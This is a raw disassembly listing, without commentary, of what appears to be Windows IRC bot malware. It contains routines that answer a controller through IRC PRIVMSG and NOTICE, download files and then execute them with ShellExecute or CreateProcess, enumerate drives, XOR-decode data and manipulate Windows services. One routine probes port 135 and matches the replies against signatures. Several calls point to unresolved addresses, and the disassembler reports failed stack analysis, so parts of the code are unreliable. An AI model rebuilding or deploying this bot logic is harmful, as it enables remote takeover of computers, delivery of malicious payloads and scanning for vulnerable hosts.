var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43F618 call dword_43F578 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax nop call near ptr 2640000h cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417078 pop ecx pop ecx push esi call near ptr 25F0973h nop loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi nop call near ptr 2600000h mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43F580 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] nop call near ptr 2630000h cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_444EC0 push eax call sub_4172B0 add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j call near ptr 2600000h nop sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2621910h push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43F5DC cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43C80C push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi nop call near ptr 27404D9h cmp eax, edi jnz short loc_40CF6F call dword_43F5C8 call sub_40AC42 push esi nop call near ptr 77E75CB5h loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43F69C push [ebp+var_48] call sub_417078 pop ecx push esi nop call near ptr 25F0973h sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_443A38 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6C8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43F564 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172B0 pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43F5D8 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43F5D8 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset aA_0 ; "A:\\" push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: sub_40E6A9+11o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4450CC call dword_43F700 call sub_416F25 call dword_43F5C8 call dword_43F5C8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43C80C mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2600889h lea eax, [ebp+var_158] push esi push eax push edi call near ptr 2650000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 27404D9h test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_443A70 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43F6A8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43F6E8 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43F6B8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43F6B8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43F700 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h nop call near ptr 2600833h locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_444138 push esi call sub_4172B0 add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_444138 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172B0 add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43F65C mov edi, eax cmp edi, ebx jnz short loc_40D7BA nop call near ptr 26402CBh mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43F550 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 26402CBh mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43F5B8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43F558 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43F5BC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 nop call near ptr 26402CBh mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43F56C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43F56C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not 